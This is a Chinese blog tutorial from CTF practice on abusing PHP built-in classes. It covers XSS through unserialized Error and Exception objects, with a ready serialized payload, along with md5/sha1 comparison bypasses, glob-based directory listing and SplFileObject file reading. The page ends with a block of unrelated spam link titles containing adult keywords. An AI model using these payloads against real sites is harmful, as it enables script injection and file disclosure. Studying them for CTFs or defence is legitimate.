站長資訊網
        最全最豐富的資訊網站

        PHP原生類的總結分享

        本篇文章給大家帶來了關于PHP的相關知識,其中主要介紹了關于原生類的相關內容,下面一起來看一下,希望對大家有幫助。

        PHP原生類的總結分享

        這次HEctf就是一個原生類的題,只有短短三行代碼。果然越短小的代碼在ctf里越難。

        首先貼一個遍歷php內置類的腳本

         <?php $classes = get_declared_classes(); foreach ($classes as $class) {     $methods = get_class_methods($class);     foreach ($methods as $method) {         if (in_array($method, array(             '__destruct',             '__toString',             '__wakeup',             '__call',             '__callStatic',             '__get',             '__set',             '__isset',             '__unset',             '__invoke',             '__set_state'    // 可以根據題目環境將指定的方法添加進來, 來遍歷存在指定方法的原生類         ))) {             print $class . '::' . $method . "n";         }     }      }
        登錄后復制

        結果:

        PHP原生類的總結分享

        整理一下:

        Exception ErrorException Error ParseError TypeError ArgumentCountError  ArithmeticError DivisionByZeroError ClosedGeneratorException DateTime DateTimeZone DatePeriod DirectoryIterator wakeup JsonException wakeup LogicException BadFunctionCallException InvalidArgumentException  OutOfRangeException RuntimeException OverflowException RangeException UnderflowException GlobIterator SplFixedArray ReflectionException ReflectionFunctionAbstract ReflectionParameter ReflectionMethod ReflectionClass ReflectionClassConstant ReflectionZendExtension AssertionError DOMException PDOException SimpleXMLElement mysqli_sql_exception PharException PharData PharFileInfo
        登錄后復制

        大概就是這些類了,但是在ctf比賽中經常會用到的就是以下幾類

        • Error
        • Exception
        • SoapClient
        • DirectoryIterator
        • SimpleXMLElement

        Error/Exception 內置類進行 XSS

        error xss

        __toString方法會返回錯誤或異常的字符串形式,其中包含我們輸入的參數,如果我們構造一串xss代碼,結合echo渲染,將觸發反射形xss漏洞

        demo:

        <?php $a = unserialize($_GET['a']);echo $a;
        登錄后復制

        poc

        <?php $a = new Error("<script>alert('hacker')</script>"); $b = serialize($a); echo urlencode($b);
        登錄后復制

        輸出了一串字符串

        O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3 Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D復制代碼
        登錄后復制

        成功彈窗

        PHP原生類的總結分享

        exception xss

        Exception是所有用戶級異常的基類。 (PHP 5, 7, 8)

        <?php $a = new Exception("<script>alert('hacker')</script>"); $b = serialize($a); echo urlencode($b); ?>
        登錄后復制

        和error的pop的構造好像是一樣的(exception適用于php5和7,error只適用于php7),把error換成exception就行了。依然成功彈窗

        PHP原生類的總結分享

        Error/Exception 內置類繞過哈希比較

        通過構造這兩個類可以啊繞過md5()和sha1()函數。error和exception都有一個重要方法:_tostring,用于將異常對象轉換為字符串。

        同樣,當md5()和sha1()函數處理對象時,會自動調用__tostring方法

        <?php $a = new Error("payload",1);$b=new Error("payload",2); echo $a."<br>"; echo $b."<br>";
        登錄后復制

        輸出結果

        PHP原生類的總結分享可以看出,payload后面的參數并不影響輸出的結果。正是通過這個可以繞過哈希函數。

        <?php $a=new Error("payload",1);$b=new Error("payload",2); if ($a!=$b){     echo '$a不等于$b'."n ";} if (md5($a)===md5($b)) {     echo "md5值相等n"; } if (sha1($a)===sha1($b)){     echo "sha1值相等n"; }
        登錄后復制

        PHP原生類的總結分享

        soapclient

        soap的定義

        簡單對象訪問協議含義

        這里之所以說是簡單,是因為它是基于已經廣泛使用的兩個協議:HTTP和XML,所以業界把這種技術稱為“它是第一個沒有發明任何新技術的技術",之所以說是對象,是因為把訪問的Web服務稱為對象,既然服務是對象,那么服務肯定有相關的屬性和調用行為,這些屬性和行為是通過WSDL來描述的。如果按“簡單的對象訪問協議”來理解,相比“簡單對象訪問協議”要容易些

        PHP 的內置類 SoapClient 是一個專門用來訪問web服務的類,可以提供一個基于SOAP協議訪問Web服務的 PHP 客戶端。

        該類的構造函數如下:

        public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
        登錄后復制

        • 第一個參數是用來指明是否是wsdl模式,將該值設為null則表示非wsdl模式。
        • 第二個參數為一個數組,如果在wsdl模式下,此參數可選;如果在非wsdl模式下,則必須設置location和uri選項,其中location是要將請求發送到的SOAP服務器的URL,而uri 是SOAP服務的目標命名空間。

        php原生文件操作類

        目錄遍歷

        DirectoryIterator

        __toString 獲取字符串形式的文件名 (PHP 5,7,8)

        例如:

        <?php $a = new DirectoryIterator("/"); foreach($a as $b){     echo($b.'</br>'); } echo $a;
        登錄后復制

        PHP原生類的總結分享輸出指定目錄里面經過排序之后的第一個文件名

        使用此內置類的__toString方法結合glob或file協議,即可實現目錄遍歷

        <?php $a = new DirectoryIterator("glob://*"); foreach ($a as $b){     echo $b.'<br>'; }
        登錄后復制

        PHP原生類的總結分享

        利用foreach能遍歷所有的文件

        <?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){     echo $b.'<br>'; }
        登錄后復制

        PHP原生類的總結分享

        多一個斜杠,目錄往前一個。

        FilesystemIterator 類

        FilesystemIterator 類與 DirectoryIterator 類相同,提供了一個用于查看文件系統目錄內容的簡單接口。該類的構造方法將會創建一個指定目錄的迭代器。

        該類的使用方法與DirectoryIterator 類也是基本相同的:

        <?php $a = new FilesystemIterator("glob:///*"); foreach ($a as $b){     echo $b.'<br>'; }
        登錄后復制

        PHP原生類的總結分享

        文件讀取

        SplFileObject::__toString — 以字符串形式返回文件的路徑

        <?php $a = new SplFileObject('flag.txt'); echo $a;
        登錄后復制

        PHP原生類的總結分享輸出多行

        <?php $a = new SplFileObject('flag.txt'); foreach($a as $f){     echo($f); }
        登錄后復制

        PHP原生類的總結分享

        推薦學習:《PHP視頻教程》

        贊(0)
        分享到: 更多 (0)
        網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
        主站蜘蛛池模板: 国产精品永久免费视频| 日本精品自产拍在线观看中文 | 国产高清国内精品福利99久久| 亚洲中文字幕久久精品无码APP| 国产精品推荐天天看天天爽| 国产成人精品男人的天堂538| 亚洲精品乱码久久久久久按摩| 精品国产呦系列在线观看免费| 久久国产乱子精品免费女| 精品人妻久久久久久888| 日韩精品电影一区亚洲| 久久99精品久久久久久野外| 嫩草影院久久国产精品| 91麻豆精品视频在线观看| 青青草原精品99久久精品66| 区亚洲欧美一级久久精品亚洲精品成人网久久久久 | 国产精品综合久久第一页| 你懂的国产精品| 99久久免费国产精精品| 91精品国产综合久久精品| 国产精品免费无遮挡无码永久视频 | 国产成人无码久久久精品一| 日韩精品无码免费一区二区三区| 日韩欧美一区二区三区中文精品| 国产欧美日本亚洲精品一5| 91久久精品国产91性色也| 九九99精品久久久久久| 久久国产乱子精品免费女| 老司机69精品成免费视频| 久久国产免费观看精品| 四虎国产精品永久一区| 欧美精品在线一区二区三区| 国产精品久久久久天天影视| 久久精品国产91久久麻豆自制 | 国产精品久久久久…| 国产精品污视频| 91久久精品无码一区二区毛片| 国产精品亚洲美女久久久| 国产午夜亚洲精品理论片不卡 | 久久九九有精品国产23百花影院| 国产精品久久久久久|